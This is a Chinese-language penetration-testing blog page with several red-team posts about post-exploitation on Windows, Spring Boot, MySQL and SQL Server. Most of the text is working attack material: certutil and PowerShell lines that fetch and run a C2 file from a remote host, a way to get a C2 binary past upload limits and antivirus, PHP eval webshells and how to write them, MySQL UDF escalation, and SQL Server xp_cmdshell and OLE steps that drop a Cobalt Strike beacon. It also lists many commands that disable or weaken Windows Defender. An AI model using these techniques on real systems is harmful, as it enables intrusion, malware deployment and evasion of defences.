首页
关于我
友链
推荐
渊龙Sec安全团队
Search
1
对于Spring Boot的渗透姿势
2,748 阅读
2
避坑:Win10环境MS17-010漏洞复现过程
1,548 阅读
3
苛刻条件下:C2上传执行骚姿势
1,453 阅读
4
2023西湖论剑·数字安全大会有感
1,170 阅读
5
PHP从零学习到Webshell免杀手册
1,060 阅读
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
登录
Search
标签搜索
技术随笔
技术小记
渗透经验
人生小记
CTF
数据库
年末总结
曾哥
累计撰写
20
篇文章
累计收到
43
条评论
首页
栏目
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
页面
关于我
友链
推荐
渊龙Sec安全团队
搜索到
5
篇与
的结果
2023-02-25
苛刻条件下:C2上传执行骚姿势
0# 概述在前期Web打点成功获得对应权限后,就进入了后渗透(提权、内网渗透、域渗透)的阶段,但是在有些时候,总会出现各种各样奇怪的情况,在此也分享一些经验出来。最近团队师傅找到我,想要让我帮忙提权一个站点,正好用上了这个骚操作,看网上好像都没有人记录这个手法,这边就浅浅记录一下,希望能帮助到屏幕前面的你。1# 情况描述通过某供应商服务系统的文件任意上传1day,上传了一个哥斯拉(Godzilla)的Asp马,并成功连接上了WebShell,但是权限很低很低:WebShell连接方式:直接连接IP:端口的,中间不可能有WAF存在(有些人真的扯)目标系统:Microsoft Windows Server 2016 Datacenterwhoami:iis apppool\*****scm4文件管理情况:WebShell只能上传写入TXT和图片类型文件,且大文件无法上传、移动和删除 (注意!!!服务器做了限制。除了TXT和图片,其他所有文件都上传不了!!!即便是一个普通的小程序,也是上传失败!)命令使用情况:无法使用PowerShell和其他高危指令杀软情况:Microsoft Security Essentials(MsMpEng.exe)/火绒(usysdiag.exe)/Microsoft Internet Security(MSASCui.exe)网络连接情况:目标系统对外只能访问白名单URL,不在白名单没法访问我尝试通过WebShell更换目录上传EXE,甚至上传一个HelloWorld的EXE文件,都无法上传,这个情况我也是第一次碰到,后面要好好再分析一下原因。2# 情况分析通常来说,在红蓝攻防中Web打点成功后,一般会上传C2并上线清理入侵痕迹,然后再去搜索敏感文件以及对内网资产进行探查。上传C2到服务器一般有以下操作(针对Win):通过WebShell上传C2文件并执行通过 Certutil 远程下载C2文件并执行通过 PowerShell 远程下载C2文件并执行通过 Certutil 远程下载C2文件并执行certutil -urlcache -gmt -split -f http://C2文件远程地址 C2文件名.exe && C2文件名.exe 执行参数通过 PowerShell 远程下载C2文件并执行powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://C2文件远程地址','C2文件名.exe') && C2文件名.exe 执行参数但我们目前的情况,虽然Web打点成功了,但是没办法写入或者下载C2进行上线(测试过了,几种文件远程下载的指令都被杀软拦截或者被系统屏蔽了),WebShell也没办法上传C2可执行文件 (服务器做了限制。除了TXT和图片,其他所有文件都上传不了!!!即便是一个普通的小程序,也是上传失败!) 这种情况,上线C2都基本不可能了,更别说提权和内网渗透了3# C2上传执行骚姿势综上所述,这个权限已经是很低很低了,但不慌,我们看看有什么办法能突破首先我们先要了解一个Windows系统的自带工具:Certutil{card-describe title="Certutil是什么"}certutil.exe 是一个合法Windows文件,用于管理Windows证书的程序。微软官方是这样对它解释的:Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。但是此合法Windows服务,现已被广泛滥用于恶意用途{/card-describe}很多人只知道可以通过 Certutil 进行远程下载文件(会被杀软拦截),但不知道它还能加密解密本地文件(不会报毒,可以用来ByPassAV)那我就通过本次实战案例,给大家演示一下整个ByPass过程:3.1 加密C2可执行文件首先,准备好C2可执行文件,通过 Certutil 进行加密导出Certutil -encode C2可执行文件名.exe out.txt可以打开导出的TXT,看到文件有如下特征:-----BEGIN CERTIFICATE----- 加密后的内容 -----END CERTIFICATE-----3.2 切割TXT文件上传并拼接、解密因为上面说了,太大的文件没办法通过WebShell上传写入,于是让我们测试一下极限:先试试2000行能否写入:2000行的数据写入是没问题的,那3000行呢?看,保存失败了,所以我们要将TXT切割后上传再拼接随便去网上下载一个TXT切割器,如下:好机会,切割出67个TXT,在服务器上新建一个文件夹,全部上传上去:再使用 copy 命令进行拼接:copy 1.txt + 2.txt + 3.txt + 4.txt + 5.txt + 6.txt + 7.txt + 8.txt + 9.txt + 10.txt out10.txt //out10.txt:合并1~10的前十个文件 copy 11.txt + 12.txt + 13.txt + 14.txt + 15.txt + 16.txt + 17.txt + 18.txt + 19.txt + 20.txt out20.txt //out20.txt:合并11~20的前十个文件 //如此往复,按照10个每组合并完成注意:这里不能用通配符(*.txt)进行 copy ,因为这样会打乱文件顺序,就解密不了了因为怕出错,我每10个文件 copy 一下,然后可以生成以下文件:确认无误后,再用 copy 命令再合并一次:copy out10.txt + out20.txt + out30.txt + out40.txt + out50.txt + out60.txt + out67.txt output.txt //合并总的文件最后输出 output.txt 用 Certutil 进行解密操作即可:Certutil -decode output.txt C2可执行文件名.exe3.3 执行C2文件上线机器上面已经成功将C2可执行文件解密出来了,然后执行上线即可:4# 总结很多时候,虽然看似“山穷水尽疑无路”,但仔细钻研,还是能“柳暗花明又一村”,有时候换个思路,可能就可以突破目前的困境。在后渗透过程中, Certutil 虽然可以进行远程下载文件(但会被杀软拦截),但它还能加密和解密本地文件(不会报毒,可以用来ByPassAV),这种思路在后渗透阶段还是值得学习和深入拓展的在本次实战情况下,面对苛刻的服务器条件,虽然没搞明白是如何做到让我无法通过WebShell上传EXE的,但是通过 Certutil 的加密解密机制,还是成功写入了C2可执行文件并上线提权,这不妨也是一种收获。
2023年02月25日
1,453 阅读
9 评论
17 点赞
2023-01-26
对于Spring Boot的渗透姿势
0# Spring Boot概述Spring Boot 是由Pivotal团队提供的全新框架,其设计目的是用来简化 Spring 应用的创建、运行、调试、部署等。使用 Spring Boot 可以做到专注于 Spring 应用的开发,而无需过多关注 XML 的配置。Spring Boot 使用“习惯优于配置”的理念,简单来说,它提供了一堆依赖打包,并已经按照使用习惯解决了依赖问题。使用 Spring Boot 可以不用或者只需要很少的 Spring 配置就可以让企业项目快速运行起来。Spring Boot 是开发者和 Spring 本身框架的中间层,帮助开发者统筹管理应用的配置,提供基于实际开发中常见配置的默认处理(即习惯优于配置),简化应用的开发,简化应用的运维;总的来说,其目的 Spring Boot 就是为了对 Java web 的开发进行“简化”和加“快”速度,简化开发过程中引入或启动相关 Spring 功能的配置。这样带来的好处就是降低开发人员对于框架的关注点,可以把更多的精力放在自己的业务代码上。1# Spring Boot Actuator概述Actuator 是 Spring Boot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。Actuator 的核心是端点 Endpoint,它用来监视应用程序及交互,spring-boot-actuator 中已经内置了非常多的 Endpoint(health、info、beans、metrics、httptrace、shutdown等等),同时也允许我们自己扩展自己的 Endpoints。每个 Endpoint 都可以启用和禁用。要远程访问 Endpoint,还必须通过 JMX 或 HTTP 进行暴露,大部分应用选择HTTP。Actuator 在带来方便的同时,如果没有管理好,会导致一些敏感的信息泄露;可能会导致我们的服务器,被暴露到外网,服务器可能会沦陷。2# Spring Boot框架的识别2.1 通过icon图标进行识别Fofa语法如下:icon_hash="116323821"可以搜索到25万条左右的资产数据,说明Spring Boot框架是应用广泛哈哈~(其中还有很多服务更改了默认的ico图标,所以这个语法找不到)2.2 通过网页内容进行识别Fofa语法如下:body="Whitelabel Error Page"哈哈,这个更夸张了,可以搜索到141万条左右的资产数据以下是 Spring Boot 框架的典型特征:所以可以通过Fofa对网页的body内容进行搜索找到那么多的资产3# Spring Boot框架 敏感信息泄露如果对 Spring Boot 框架熟悉的师傅,肯定知道对 Spring Boot 的渗透测试过程中,肯定不会少了敏感信息泄露和未授权访问相关的漏洞{card-describe title="不同版本分类讨论"}Spring Boot < 1.5:默认未授权访问所有端点、Spring Boot >= 1.5:默认只允许访问 /health 和 /info 端点,但是此安全性通常被应用程序开发人员禁用了{/card-describe}3.1 常见端点及其作用:路径是否默认启用功能描述/auditevents是显示当前应用程序的审计事件信息/beans是显示一个应用中所有Spring Beans的完整列表/conditions是显示配置类和自动配置类的状态及它们被应用或未被应用的原因/configprops是显示一个所有@ConfigurationProperties的集合列表/env是显示来自Spring的 ConfigurableEnvironment的属性/flyway是显示数据库迁移路径(如果存在)/health是显示应用的健康信息(当使用一个未认证连接访问时显示一个简单的’status’,使用认证连接访问则显示全部信息详情)/info是显示任意的应用信息/liquibase是展示任何Liquibase数据库迁移路径(如果存在)/metrics是展示当前应用的metrics信息/mappings是显示一个所有@RequestMapping路径的集合列表/scheduledtasks是显示应用程序中的计划任务/sessions否允许从Spring会话支持的会话存储中检索和删除用户会话/shutdown否允许应用以优雅的方式关闭(默认情况下不启用)/threaddump是执行一个线程dump/heapdump是返回一个GZip压缩的hprof堆dump文件/jolokia是通过HTTP暴露JMX beans(当Jolokia在类路径上时,WebFlux不可用)/logfile是返回日志文件内容(如果设置了logging.file或logging.path属性的话),支持使用HTTP Range头接收日志文件内容的部分信息/prometheus是以可以被Prometheus服务器抓取的格式显示metrics信息独家字典于是,我这里独家整理了一份信息泄露字典(欢迎补充哈哈)actuator actuator/auditLog actuator/auditevents actuator/autoconfig actuator/beans actuator/caches actuator/conditions actuator/configurationMetadata actuator/configprops actuator/dump actuator/env actuator/events actuator/exportRegisteredServices actuator/features actuator/flyway actuator/health actuator/heapdump actuator/healthcheck actuator/heapdump actuator/httptrace actuator/hystrix.stream actuator/info actuator/integrationgraph actuator/jolokia actuator/logfile actuator/loggers actuator/loggingConfig actuator/liquibase actuator/metrics actuator/mappings actuator/scheduledtasks actuator/swagger-ui.html actuator/prometheus actuator/refresh actuator/registeredServices actuator/releaseAttributes actuator/resolveAttributes actuator/scheduledtasks actuator/sessions actuator/springWebflow actuator/shutdown actuator/sso actuator/ssoSessions actuator/statistics actuator/status actuator/threaddump actuator/trace auditevents autoconfig api.html api/index.html api/swagger-ui.html api/v2/api-docs api-docs beans caches cloudfoundryapplication conditions configprops distv2/index.html docs druid/index.html druid/login.html druid/websession.html dubbo-provider/distv2/index.html dump entity/all env env/(name) eureka flyway gateway/actuator gateway/actuator/auditevents gateway/actuator/beans gateway/actuator/conditions gateway/actuator/configprops gateway/actuator/env gateway/actuator/health gateway/actuator/heapdump gateway/actuator/httptrace gateway/actuator/hystrix.stream gateway/actuator/info gateway/actuator/jolokia gateway/actuator/logfile gateway/actuator/loggers gateway/actuator/mappings gateway/actuator/metrics gateway/actuator/scheduledtasks gateway/actuator/swagger-ui.html gateway/actuator/threaddump gateway/actuator/trace health heapdump heapdump.json httptrace hystrix hystrix.stream info integrationgraph jolokia jolokia/list liquibase list logfile loggers liquibase metrics mappings monitor prometheus refresh scheduledtasks sessions shutdown spring-security-oauth-resource/swagger-ui.html spring-security-rest/api/swagger-ui.html static/swagger.json sw/swagger-ui.html swagger swagger/codes swagger/index.html swagger/static/index.html swagger/swagger-ui.html swagger-dubbo/api-docs swagger-ui swagger-ui.html swagger-ui/html swagger-ui/index.html system/druid/index.html threaddump template/swagger-ui.html trace user/swagger-ui.html version v1.1/swagger-ui.html v1.2/swagger-ui.html v1.3/swagger-ui.html v1.4/swagger-ui.html v1.5/swagger-ui.html v1.6/swagger-ui.html v1.7/swagger-ui.html /v1.8/swagger-ui.html /v1.9/swagger-ui.html /v2.0/swagger-ui.html v2.1/swagger-ui.html v2.2/swagger-ui.html v2.3/swagger-ui.html v2/swagger.json webpage/system/druid/index.html %20/swagger-ui.html3.2 端点的敏感信息泄露样例这里先安利一款谷歌浏览器插件哈,名字叫 JSON Viewer ,可以美化JSON的相关页面注意,以下测试均是在Fofa上找的实例,漏洞其实离我们并不遥远3.2.1 访问/actuator如果设置了 management.endpoints.web.exposure.include 为 *,就可以在 /actuator 看到所有存在的端点,截图如下:3.2.2 访问/actuator/version会泄露一些相关的版本信息但这个目前很少有泄露了,一时半会没找到实例3.2.3 访问/env或者/actuator/env可能会泄露数据库账号密码等敏感信息针对env这种路径下泄露的密码会用星号进行脱敏,想要获取相应的明文密码,可以尝试通过分析heapdump数据的方式3.2.4 访问/actuator/metrics获得每个度量的名称,其中主要监控了JVM内容使用、GC情况、类加载信息等如果想要得到每个度量的详细信息,需要传递度量的名称到URL中,如下http://xx.xx.xx.xx/actuator/metrics/http.server.requests3.2.5 访问/actuator/threaddump获取服务器的线程堆栈信息3.2.6 访问/actuator/loggers获取服务器的日志级别3.2.7 访问/actuator/configprops查看配置文件中设置的属性内容,以及一些配置属性的默认值3.2.8 访问/actuator/info展示了关于应用的一般信息,这些信息从编译文件比如 META-INF/build-info.properties 或者 git 文件比如 git.properties 或者任何环境的 property 中获取3.2.9 访问/actuator/mappings响应信息描述全部的URI路径,以及它们和控制器的映射关系3.2.10 访问/actuator/healthhealth一般只展示了简单的UP和DOWN状态,比如这样:为了获得健康检查中所有指标的详细信息,就需要通过在 application.yaml 中增加如下内容:management: endpoint: health: show-details: always一旦打开上述开关,那么在 /health 中可以看到详细内容,比如下面这样{ "status": "UP", "diskSpace": { "status": "UP", "total": 209715195904, "free": 183253909504, "threshold": 10485760 } "db": { "status": "UP", "database": "MySQL", "hello": 1 } }3.2.11 访问/heapdump或者/actuator/heapdumpHeap Dump也叫堆转储文件,是一个Java进程在某个时间点上的内存快照Heap Dump是有着多种类型的,不过总体上heap dump在触发快照的时候都保存了java对象和类的信息通常在写heap dump文件前会触发一次FullGC,所以heap dump文件中保存的是FullGC后留下的对象信息。其中可能会含有敏感数据,如数据库的密码明文等直接访问路径会返回一个GZip压缩的JVM堆dump,其中是jvm heap信息。下载的heapdump文件大小通常在 50M—500M 之间,有时候也可能会大于 2G下载完成之后可以借助一些工具对其中的数据进行内容检索,寻找敏感信息Eclipse Memory Analyzer(MAT)heapdump_toolJDumpSpider都有参考文章,可以自行研究4# SpringBoot-Scan的使用日常渗透过程中,经常会碰到Spring Boot搭建的微服务,于是就想做一个针对Spring Boot的开源渗透框架主要用作扫描SpringBoot的敏感信息泄露端点,并可以直接测试Spring Boot的相关高危漏洞。于是,就写了这么一个工具:SpringBoot-Scan 【简称:“SB-Scan”(错乱】开源地址:https://github.com/AabyssZG/SpringBoot-Scan感觉不错的话,麻烦师傅点个Star啦~有问题的话,也可以提交issues或者私聊我都行哈哈~5# 参考链接https://blog.csdn.net/u012206617/article/details/109010102https://blog.csdn.net/m0_64867220/article/details/121728868https://www.freebuf.com/vuls/289710.html
2023年01月26日
2,748 阅读
4 评论
17 点赞
2023-01-05
Web系统的RCE漏洞的Getshell姿势
情景描述今天早上在研究一个Web系统的0Day,虽然是个任意命令执行漏洞,但是这个RCE有些局限,就想通过RCE写个WebShell提提权再看看目标系统:Microsoft Windows Server 2019 Standard动态脚本:PHP 5.6GetShell姿势通常我们写入文件,通常都会使用CMD的echo命令echo 文件内容 > "文件名"假如我们要写php一句话的时候,比如:<?php eval($_POST["aabyss"]); ?>这时候有同学就想到这样不就好了:echo <?php eval($_POST["aabyss"]);?> > "webshell.php"但实际上这样是不行的,因为以下特殊符号是无法直接放入echo语句(执行会提示语法错误或者无法写入这些符号):& | > < +所以通常我们会把特殊符号通过^来进行转义,比如这样:echo ^<?php eval($_POST["aabyss"]);?^> > "webshell.php"通常就能写入了难点来了但是我早上尝试的那个0day,语句没办法通过^进行转义,或者写入的流量被WAF拦截,怎么办呢?首先,我想到了通过""双引号进行包含进行写入,比如:echo echo "<?php eval($_POST["aabyss"]);?>" > "webshell.php"文件内容如下:"<?php eval($_POST["aabyss"]);?>"这样虽然能写入& | > < +这些特殊符号,但是代码最外层带了"",实测php代码是无法执行的于是我又想到了Base64编码进行写入,首先对一句话内容进行base编码:于是得到编码后的Base64字符串,如下:PD9waHAgZXZhbCgkX1BPU1RbImFhYnlzcyJdKTsgID8+但是通过上文,我们发现+也是不能写入的,怎么办呢?这时候插入在外部插入一些数字就能简单解决啦:这时候就得到一份做好的Base64字符串:MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy接下来通过echo将Base64字符串写入TXT文件即可:echo MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy > "base64.txt"接下来通过命令进行解密:certutil -f -decode "base64.txt" "webshell.txt"然后将webshell.txt复制为php文件即可大功告成:copy webshell.txt webshell.php其他一些tips查看当前目录:cd解密Base64文件到上层目录:certutil -f -decode "base64.txt" "../webshell.txt"将命令输入内容写入文件查看:命令 >> out.txt
2023年01月05日
344 阅读
2 评论
7 点赞
2022-12-09
MySQL不出网文件落地上线姿势
MySQL不出网文件落地上线第一步 判断环境1、查看MySQL版本show variables like '%version%'; select version(); #这个只显示MySQL版本号2、查看load_file() 开启即 secure_file_priv 无限制show variables like '%secure%'; #这条可查看详细信息 show global variables like '%secure_file_priv%';Value说明注意NULL不允许导入或导出在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件/var/lib/mysql-files/只允许在 /var/lib/mysql-files/ 目录导入导出在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件空不限制目录 而这个MySQL数据库,只允许在/var/lib/mysql-files/这个目录导入导出3、查看日志功能是否开启和对应目录MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 GetshellSHOW VARIABLES LIKE 'general%';注:general_log 默认是关闭的,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中开启日志功能set global general_log = "ON"; set global general_log_file='/var/www/html/test.php'; #可以写入WebShell然后直接连接蚁剑 # 往日志里面写入 WebShell select '<?php @eval($_POST['AabyssTeam']);?>'; # 此时已经写到 test.php 文件当中了,注意这个要知道网站的具体路径才可以实现4、寻找插件目录(UDF提权摸排)如果是 MySQL >= 5.1 的版本,必须把 UDF 动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下,才能创建自定义函数动态链接库文件获取在我们常用的工具 SqlMap 和 Metasploit 里面都自带了对应系统的动态链接库文件SqlMap:工具根目录/data/udf/mysql注: SqlMap 自带的动态链接库为防止被误杀,都经过编码处理,不能被直接使用不过可以利用 SqlMap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:工具根目录/extra/cloak/cloak.pyMetasploit:工具根目录/embedded/framework/data/exploits/mysql注:动态链接库就是实现共享函数库概念的一种方式,在Windows环境下后缀名为 .dll,在Linux环境下后缀名为 .so接下来的任务是把 UDF 动态链接库文件放到 MySQL 的插件目录下,可以使用如下的 SQL 语句来查询:show variables like '%plugin%';第二步 MySQL提权写入动态链接库写入动态链接库可以分为下面几种情形:存在SQL 注入且是高权限plugin(插件) 目录可写且需要 secure_file_priv 无限制MySQL 插件目录可以被 MySQL 用户写入1、存在SQL注入这个时候就可以直接使用 SqlMap 来上传动态链接库注:因为 GET 有字节长度限制,所以往往使用 POST 注入来写入sqlmap -u "http://Web服务的URL" --data="id=注入点" --file-write="根据本地的文件目录来写/lib_mysqludf_sys_64.so" --file-dest="/usr/lib64/mysql/plugin/(上面探测出来的插件目录)udf.so"2、不存在SQL注入就像我举的例子一样,没有Web服务,只有一个Java应用怎么办?我们可以使用 SQL 语句执行写入,前提是 secure_file_priv 无限制,可以手工写文件到 plugin 目录下# 直接 SELECT 查询十六进制写入 SELECT 0x(通过16进制转换后的动态链接库字符串) INTO DUMPFILE '/usr/lib64/mysql/plugin/udf.so'; # 解码十六进制再写入多此一举 SELECT unhex('(通过16进制转换后的动态链接库字符串)') INTO DUMPFILE '/usr/lib64/mysql/plugin/udf.so';当出现这个报错的时候:由于 secure-file-priv 变量的默认设置为 /var/lib/mysql-files/ 引起的,该值意味着只能导出到指定目录下,否则会报错小技巧:获取MySQL账户和对应密码Hash# MySQL <= 5.6 版本 select host, user, password from mysql.user; # MySQL >= 5.7 版本 select host,user,authentication_string from mysql.user;直接丢到在线网站 https://www.cmd5.com/ 解密直接可以解密了密码,解密不出来就用Hashcat跑就行了
2022年12月09日
298 阅读
1 评论
5 点赞
2022-12-09
SqlServer不出网文件落地上线姿势
第一步 启用多种命令执行方式1、开启xp_cmdshellEXEC sp_configure 'show advanced options', 1 RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; //1为开,0为关 RECONFIGURE;执行系统命令模板EXEC master.dbo.xp_cmdshell 'cd C:\\ && dir';被删除如何恢复exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQLServer\MSSQL\Binn\xplog70.dll'2、开启sp_oacreate在执行命令或写入文件时都需要用到 sp_oacreate,这主要是用来创建OLE对象,所以需要先执行以下SQL语句来启用 “OLE Automation Procedures ” 组件。 如果 xp_cmdshell 组件被删除,也可以利用OLE对象的run方法执行系统命令:主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令exec master.dbo.sp_configure 'show advanced options', 1 RECONFIGURE exec master.dbo.sp_configure 'Ole Automation Procedures', 1 //1为开,0为关 RECONFIGURE执行系统命令模板declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami >C:\Users\Public\Documents\1.txt';注意:此命令执行方法无回显,可以将回显内容写入TXT文件后再查看3、SQL Server 沙盒提权通过开启沙盒模块来执行命令开启:exec sp_configure 'show advanced options',1;reconfigure; exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;关闭:exec sp_configure 'show advanced option',1;RECONFIGURE; exec sp configure 'Ad Hoc Distributed Queries',0;RECONFIGURE;执行系统命令模板select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")') select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\ias.mdb','select shell("CMD命令")')注意:当 C:\Windows\System32\ias\dnary.mdb 或 C:\Windows\System32\ias\ias.mdb 被删除时,命令就会无效了第二步 判断系统类型和软件判断系统类型我就不用说了吧。。命令执行看一下就知道了重点是判断系统环境(32位还是64位,账户有无权限,有无杀软)EXEC master.dbo.xp_cmdshell 'tasklist';Ctrl+A全选后,Ctrl+C复制一下这里推荐一个网站:https://i.hacking8.com/tiquan将内容复制后点击查询,发现有杀软(需要查清楚后做对应的免杀处理)第三步 处理文件这里需要将要执行的 CobaltStrike Payload 转换为Hex注意:如果在第二步发现有杀软,需要查清楚后做对应的免杀处理免杀过程省略。。。接下来就是用Python将免杀后的exe进行转换#文件名:zhuan.py import binascii filename = 'beacon.exe' with open(filename, 'rb') as f: content = f.read() print(binascii.hexlify(content))使用命令行执行导出#文件名:start.bat python zhuan.py > hex.txt注意:导出后,记得删掉掉最前面的 b' 和最后面的 ' 这两个部分第四步 实现不出网文件落地虽然我在演示的时候,是通过公网的一个站点进行演示的但如果在内网中,有无法外连的服务器被拿下,要如何不出网文件落地,让我们一起看看DECLARE @DATA VARBINARY(MAX) = 0x #加上第三步中转换好的Hex内容 DECLARE @filepath VARCHAR(MAX) = 'C:\\Users\\Public\\Documents\\system_un.exe' DECLARE @ObjectToken INT EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT EXEC sp_OASetProperty @ObjectToken, 'Type', 1 EXEC sp_OAMethod @ObjectToken, 'Open' EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2 EXEC sp_OAMethod @ObjectToken, 'Close' EXEC sp_OADestroy @ObjectToken SELECT @filepath执行落地的EXE文件(/c是无弹窗静默运行)Exec master..xp_cmdshell "cmd /c C:\\Users\\Public\\Documents\\system_un.exe"接下来就上线成功小技巧附上一些实用的命令行,相信你会用到查看服务器开放的端口netstat -a -n查看系统信息(32位还是64位)systeminfo系统如果是64位的,会在“系统类型”选项后明确标示出“x64-based PC”,否则目标系统就是32位的强制删除文件(支持通配符)可以运行 del /? 来查看命令说明del /F /S /Q C:\inetpub\wwwroot\test.php关于过Windows Defender注意:以下命令都需以管理员权限运行才可成功!!!1、白名单过Windows Defender杀软执行下面命令会分别向Defender添加白名单:目录、进程、类型文件powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Public\Documents" powershell -Command Add-MpPreference -ExclusionProcess "system_un.exe" powershell -Command Add-MpPreference -ExclusionExtension ".exe"2、禁用Windows Defender Antivirus防病毒注意:需管理员权限,且需要先关闭防篡改功能(通过Windows安全应用程序中提供的“病毒和威胁防护”设置来禁用它)powershell Set-MpPreference -DisableRealtimeMonitoring $true执行后,实时防病毒保护将被禁用,直到下次重新启动为止3、Windows Defender功能削弱# 关闭行为监视 powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true" # 禁用IOAV保护,禁止扫描下载的文件和附件 powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true" # 关闭Defender自动更新 powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true" # 禁止扫描.zip等的存档文件 powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true" # 关闭已知漏洞利用防护 powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"4、Windows Defender威胁忽视# 禁止提交样本 powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2" # 指定用于高级威胁的自动修复操作选项 powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force" # 指定用于中级威胁的自动修复操作选项 powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6" # 指定用于低级威胁的自动修复操作选项 powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6" # 指定用于严重威胁的自动修复操作选项 powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"5、Windows Defender检测进程排除powershell.exe -command "Add-MpPreference -ExclusionProcess "regsvr32"" powershell.exe -command "Add-MpPreference -ExclusionProcess "regsvr32*"" powershell.exe -command "Add-MpPreference -ExclusionProcess ".exe"" powershell.exe -command "Add-MpPreference -ExclusionProcess "iexplorer.exe"" powershell.exe -command "Add-MpPreference -ExclusionProcess "explorer.exe"" powershell.exe -command "Add-MpPreference -ExclusionProcess ".dll"" powershell.exe -command "Add-MpPreference -ExclusionProcess "*.dll"" powershell.exe -command "Add-MpPreference -ExclusionProcess "*.exe""6、禁止向微软报告安全信息powershell.exe -command "Set-MpPreference -MAPSReporting 0"7、关闭PUA保护powershell.exe -command "Set-MpPreference -PUAProtection disable"8、攻击面减少# 关闭受控文件夹访问 powershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"情况:上线失败如果执行命令后,出现这种情况:有两种原因:该目录为不可写目录(不一定一上来就是Administrator管理员账户)落地的EXE文件被系统安装的杀软给查杀了,执行时找不到文件解决方法:写入公共目录,比如我上面举例的 C:\Users\Public\Documents\将EXE处理一下,做成免杀的即可执行
2022年12月09日
287 阅读
0 评论
4 点赞